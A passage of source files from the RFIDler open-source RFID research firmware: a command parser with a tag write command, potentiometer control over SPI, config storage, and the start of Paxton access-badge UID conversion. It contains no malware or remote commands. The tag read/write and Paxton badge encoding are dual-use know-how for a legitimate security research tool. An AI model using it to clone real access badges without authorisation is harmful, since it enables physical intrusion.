%s\", &tmpint, local_tmp) == 2)\r\n        {\r\n            if(write_tag(tmpint, local_tmp, VERIFY))\r\n            {\r\n                commandok= command_ack(DATA);\r\n                UserMessage(\"%s\\r\\n\", local_tmp);\r\n                eod();\r\n            }\r\n            else\r\n                commandok= command_nack(\"Write failed!\");\r\n        }\r\n        else\r\n            commandok= command_nack(\"Invalid block number or no data!\");\r\n    }\r\n\r\n    // show help if asked or command not recognised\r\n    if (!commandok)\r\n    {\r\n        if(strcmp(command, \"HELP\") == 0 || Interface == INTERFACE_CLI)\r\n        {\r\n            command_ack(DATA);\r\n            show_usage(command);\r\n            eod();\r\n        }\r\n        else\r\n            command_unknown();\r\n    }\r\n\r\n    // end of command processing\r\n   \r\n    // check for config changes\r\n    if(checkconfigchanged())\r\n        ccprompt= \"*\";\r\n    else\r\n        ccprompt= \"\";\r\n    if(RFIDlerConfig.TagType == TAG_TYPE_NONE)\r\n        prompt= \"RFIDler\";\r\n    else\r\n        prompt= (unsigned char *) TagTypes[RFIDlerConfig.TagType];\r\n\r\n    if(Interface == INTERFACE_CLI)\r\n    {\r\n        UserMessage(\"%s\", ccprompt);\r\n        UserMessage(\"%s\", prompt);\r\n        UserMessage(\"%s\", prompt_2);\r\n    }\r\n\r\n    return 0;\r\n}\r\n\r\n// borrowed from UBW32 source\r\n// Restarts UBW32 with a software reset, which should launch bootloader\r\n// without user having to press PRG button\r\nvoid parse_BL_packet(void)\r\n{\r\n    unsigned int dma_status;\r\n    unsigned int int_status;\r\n\r\n\t// Kill USB so that we always re-enumerate when we hit the bootloader\r\n\tUSBModuleDisable();\r\n\r\n\t// Set the software key\r\n\tSoftwareKey = (unsigned int *)0xA0000000;\r\n\t*SoftwareKey = 0x12345678;\r\n\r\n\t// TEMP : For reset testing\r\n\t/* The following code illustrates a software Reset */\r\n\t/* perform a system unlock sequence */\r\n    mSYSTEMUnlock(int_status, dma_status);\r\n\r\n\t/* set SWRST bit to arm reset */\r\n    RSWRSTSET = 1;\r\n\r\n    /* read RSWRST register to trigger reset */\r\n    volatile int* p = &RSWRST;\r\n    *p;\r\n\r\n    /* prevent any unwanted code execution until reset occurs*/\r\n    while(1);\r\n}\r\n\r\n/** EOF main.c *************************************************/\r\n\r\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/mcp414x.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n#include <plib.h>\n#include \"mcp414x.h\"\n#include \"spi.h\"\n#include \"comms.h\"\n\n// send an mcp414 spi command\nBYTE send_mcp414_command(BYTE command, BYTE address, unsigned int arglen, unsigned int arg, unsigned int retlen, BYTE *retdata)\n{\n    unsigned int com, tmp1, tmp2, ret;\n    BYTE argbyte;\n\n    \n    // if we're sending data we can send 10 bits - pack the top two bits into the command plus another 8 in the next byte\n    if(arglen)\n    {\n        com= (unsigned int) command | address;\n\tcom <<= 8;\n        // add 10 bits of arg\n\tcom |= (arg & MCP_DATA_MASK);\n        ret= sendSpiCommand16(com, MCP_OK_DATA, 0, &tmp1, retlen, &tmp2);\n        // this should cater for 10 bits! (?)\n        *retdata= (BYTE) tmp2 & 0xff;\n        return ret;\n    }\n    else\n    {\n       argbyte= (BYTE) arg;\n       return sendSpiCommand(command | address, MCP_OK_NO_DATA, arglen, &argbyte, retlen, retdata);\n    }\n}\n\nBYTE get_mcp414_status(BYTE *retdata)\n{\n    unsigned int dummy= 0x00;\n\n    return send_mcp414_command(MCP_CMD_READ, MCP_ADR_STATUS, 1, dummy, 0, retdata);\n}\n\nBYTE increment_mcp414(BYTE wiper, BYTE *retdata)\n{\n    unsigned int dummy= 0x00;\n\n    if(wiper)\n        wiper= MCP_ADR_WIPER1;\n    else\n        wiper= MCP_ADR_WIPER0;\n\n    return send_mcp414_command(MCP_CMD_INCREMENT, wiper, 0, dummy, 0, retdata);\n}\n\nBYTE decrement_mcp414(BYTE wiper, BYTE *retdata)\n{\n    unsigned int dummy= 0x00;\n\n    if(wiper)\n        wiper= MCP_ADR_WIPER1;\n    else\n        wiper= MCP_ADR_WIPER0;\n\n    return send_mcp414_command(MCP_CMD_DECREMENT, wiper, 0, dummy, 0, retdata);\n}\n\n\nBYTE get_mcp414_wiper(BYTE wiper, BYTE nv, BYTE *retdata)\n{\n    unsigned int dummy= 0x00;\n\n    if(wiper)\n    {\n        if(nv)\n            wiper= MCP_ADR_NV_WIPER1;\n        else\n            wiper= MCP_ADR_WIPER1;\n    }\n    else\n    {\n        if(nv)\n            wiper= MCP_ADR_NV_WIPER0;\n        else\n            wiper= MCP_ADR_WIPER0;\n    }\n\n    return send_mcp414_command(MCP_CMD_READ, wiper, 1, dummy, 0, retdata);\n}\n\nBYTE set_mcp414_wiper(BYTE wiper, BYTE nv, unsigned int value, BYTE *retdata)\n{\n    if(wiper)\n    {\n        if(nv)\n            wiper= MCP_ADR_NV_WIPER1;\n        else\n            wiper= MCP_ADR_WIPER1;\n    }\n    else\n    {\n        if(nv)\n            wiper= MCP_ADR_NV_WIPER0;\n        else\n            wiper= MCP_ADR_WIPER0;\n    }\n\n    return send_mcp414_command(MCP_CMD_WRITE, wiper, 1, value, 0, retdata);\n}\n\nvoid show_mcp414_wipers(void)\n{\n    BYTE    tmpc;\n\n    if(!get_mcp414_wiper(0, FALSE, &tmpc))\n        UserMessageNum(\"\\r\\n\\r\\n  High POT (wiper 0) value: %d\", tmpc);\n    else\n        UserMessageNum(\"\\r\\nHigh POT (wiper 0) read failed! %d\", tmpc);\n    if(!get_mcp414_wiper(1, FALSE, &tmpc))\n        UserMessageNum(\"\\r\\n  Low POT (wiper 1) value: %d\", tmpc);\n    else\n        UserMessageNum(\"\\r\\nLow POT (wiper 1) read failed! %d\", tmpc);\n    if(!get_mcp414_wiper(0, TRUE, &tmpc))\n        UserMessageNum(\"\\r\\n\\r\\n  High NV POT (wiper 0) value %d\", tmpc);\n    else\n        UserMessageNum(\"\\r\\nHigh NV POT (wiper 0) read failed! %d\", tmpc);\n    if(!get_mcp414_wiper(1, TRUE, &tmpc))\n        UserMessageNum(\"\\r\\n  Low NV POT (wiper 1) value %d\\r\\n\", tmpc);\n    else\n        UserMessageNum(\"\\r\\nLow NV POT (wiper 1) read failed! %d\\r\\n\", tmpc);\n}\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/nvm.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2017 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n#include \"HardwareProfile.h\"\n#include \"rfidler.h\"\n#include \"nvm.h\"\n#include \"comms.h\"\n\n// save config and return TRUE if verify OK\nBOOL saveconfig(void)\n{\n    NVMProgram((void *) RFIDLER_NVM_ADDRESS, (const void *) &RFIDlerConfig, sizeof(RFIDlerConfig), (void*) TmpBuff);\n    NVMProgram((void *)RFIDLER_NVM_ADDRESS + sizeof(RFIDlerConfig), (const void *)&RFIDlerVTag, sizeof(RFIDlerVTag), (void*) TmpBuff);\n    return !checkconfigchanged();\n}\n\n// return TRUE if config is changed\nBOOL checkconfigchanged(void)\n{\n    if(memcmp(&RFIDlerConfig, (void *) RFIDLER_NVM_ADDRESS, sizeof(RFIDlerConfig)) != 0)\n        return TRUE;\n    if(memcmp(&RFIDlerVTag, (void *) RFIDLER_NVM_ADDRESS + sizeof(RFIDlerConfig), sizeof(RFIDlerVTag)) != 0)\n        return TRUE;\n    return FALSE;\n}\n\n// load config from NVM - return TRUE if loaded, FALSE if freshly initialised\nBOOL loadconfig(void)\n{\n    // load config\n    memcpy(&RFIDlerConfig, (void *) RFIDLER_NVM_ADDRESS, sizeof(RFIDlerConfig));\n    // check sentinal\n    if (memcmp(RFIDlerConfig.Name, \"RFIDler\", 7) != 0)\n    {\n        memset(&RFIDlerConfig, 0x00, sizeof(RFIDlerConfig));\n        memcpy(RFIDlerConfig.Name, \"RFIDler\", 7);\n        saveconfig();\n        hitag2_nvm_clear();\n        return FALSE;\n    }\n    // load VTAG\n    memcpy(&RFIDlerVTag, (void *) RFIDLER_NVM_ADDRESS + sizeof(RFIDlerConfig), sizeof(RFIDlerVTag));\n    return TRUE;\n}\n\nvoid wipeconfig(void)\n{\n    unsigned long i;\n\n    for(i= RFIDLER_NVM_ADDRESS ; i < RFIDLER_NVM_ADDRESS + (unsigned long) sizeof(RFIDlerConfig); i += NVM_PAGE_SIZE)\n            NVMErasePage((void *) i);\n}\n\nvoid showconfig(void)\n{\n    UserMessage(\"%s\", \"\\r\\n\\r\\nCurrent config:\\r\\n\");\n    UserMessage(\"\\r\\n  TAG Type:            %s\", (BYTE *) TagTypes[RFIDlerConfig.TagType]);\n    UserMessageNum(\"\\r\\n  Frame Clock uS/100:  %d\", RFIDlerConfig.FrameClock);\n    UserMessage(\"\\r\\n  Modulation:          %s\", (BYTE *) ModulationSchemes[RFIDlerConfig.Modulation]);\n    UserMessage(\"\\r\\n  Manchester:          %s\", (BYTE *) OnOff[RFIDlerConfig.Manchester]);\n    UserMessage(\"\\r\\n  BiPhase:             %s\", (BYTE *) OnOff[RFIDlerConfig.BiPhase]);\n    UserMessage(\"\\r\\n  Invert:              %s\", (BYTE *) OnOff[RFIDlerConfig.Invert]);\n    UserMessageNum(\"\\r\\n  Data Rate RF/n:      %d\", RFIDlerConfig.DataRate);\n    UserMessageNum(\"\\r\\n  Data Rate Sub 0:     %d\", RFIDlerConfig.DataRateSub0);\n    UserMessageNum(\"\\r\\n  Data Rate Sub 1:     %d\", RFIDlerConfig.DataRateSub1);\n    UserMessageNum(\"\\r\\n  Data Bits:           %d\", RFIDlerConfig.DataBits);\n    UserMessageNum(\"\\r\\n  Data Blocks:         %d\", RFIDlerConfig.DataBlocks);\n    UserMessageNum(\"\\r\\n  Blocksize:           %d\", RFIDlerConfig.BlockSize);\n    UserMessageNum(\"\\r\\n  Sync Bits:           %d\", RFIDlerConfig.SyncBits);\n    UserMessageNum(\"\\r\\n  Sync 0:              0x%02x\", RFIDlerConfig.Sync[0]);\n    UserMessageNum(\"\\r\\n  Sync 1:              0x%02x\", RFIDlerConfig.Sync[1]);\n    UserMessageNum(\"\\r\\n  Sync 2:              0x%02x\", RFIDlerConfig.Sync[2]);\n    UserMessageNum(\"\\r\\n  Sync 3:              0x%02x\", RFIDlerConfig.Sync[3]);\n    UserMessageNum(\"\\r\\n  Pot Low:             %d\", RFIDlerConfig.PotLow);\n    UserMessageNum(\"\\r\\n  Pot High:            %d\", RFIDlerConfig.PotHigh);\n    UserMessageNum(\"\\r\\n  PSK Quality uS:      %d\", RFIDlerConfig.PSK_Quality);\n    UserMessageNum(\"\\r\\n  Repeat:              %d\", RFIDlerConfig.Repeat);\n    UserMessageNum(\"\\r\\n  Timeout uS:          %d\", RFIDlerConfig.Timeout);\n    UserMessageNum(\"\\r\\n  RWD Gap FC           %d\", RFIDlerConfig.RWD_Gap_Period);\n    UserMessageNum(\"\\r\\n  RWD Sleep FC:        %d\", RFIDlerConfig.RWD_Sleep_Period);\n    UserMessageNum(\"\\r\\n  RWD Wake FC:         %d\", RFIDlerConfig.RWD_Wake_Period);\n    UserMessageNum(\"\\r\\n  RWD Zero FC:         %d\", RFIDlerConfig.RWD_Zero_Period);\n    UserMessageNum(\"\\r\\n  RWD One FC:          %d\", RFIDlerConfig.RWD_One_Period);\n    UserMessageNum(\"\\r\\n  RWD Wait RX->TX FC:  %d\", RFIDlerConfig.RWD_Wait_Switch_RX_TX);\n    UserMessageNum(\"\\r\\n  RWD Wait TX->RX FC:  %d\", RFIDlerConfig.RWD_Wait_Switch_TX_RX);\n    UserMessageNum(\"\\r\\n  Wiegand Pulse uS:    %d\", RFIDlerConfig.Wiegand_Pulse);\n    UserMessageNum(\"\\r\\n  Wiegand Gap uS:      %d\", RFIDlerConfig.Wiegand_Gap);\n    UserMessage(\"\\r\\n  Wiegand IdleState:   %s\\r\\n\", (BYTE *) HighLow[RFIDlerConfig.Wiegand_IdleState]);\n}\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/paxton.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n\n#include \"HardwareProfile.h\"\n#include \"ask.h\"\n#include \"rfidler.h\"\n#include \"paxton.h\"\n#include \"em.h\"\n#include \"util.h\"\n\n// support routines for Paxton tags\n// thanks to the proxmark3 project for figuring this out!\n\nBOOL paxton_get_uid(BYTE *response)\n{ \n    return ask_raw_get_uid(response);\n}\n\nBOOL paxton_hex_to_uid(BYTE *response, BYTE *hex)\n{\n    BYTE tmp[40];\n\n    if(em4x02_hex_to_uid(response, hex))\n        return paxton_hex_to_hex(response, response);\n    return FALSE;\n}\n\n// convert null-terminated hex UID (10 digits) to em4x02 encoded hex\nBOOL hex_to_paxton_hex(unsigned char *paxton, unsigned char *hex)\n{\n    if(hex_to_paxton_bin(paxton, hex))\n        return binarraytohex(paxton, paxton, 64);\n    else\n        return FALSE;\n}\n\n// convert 64 bit em4x02 encoded hex to paxton 8 hex digit 32 bit UID\n// this is the same as em4x02 but discard 2nd byte and add magic number\nBOOL paxton_hex_to_hex(unsigned char *hex, unsigned char *paxton)\n{\n    unsigned long out;\n    unsigned char tmp[8];\n    \n    // copy first 2 hex digits\n    memcpy(tmp, paxton, 2);\n    // copy last 6 hex digits\n    memcpy(&tmp[2], &paxton[4], 6);\n    out= hextoulong(tmp);\n    out += 0x143e00UL; // add magic number\n    ulongtohex(hex, out);\n    hex[8]= 0x00;\n    return TRUE;\n}\n\n// convert null-terminated hex UID 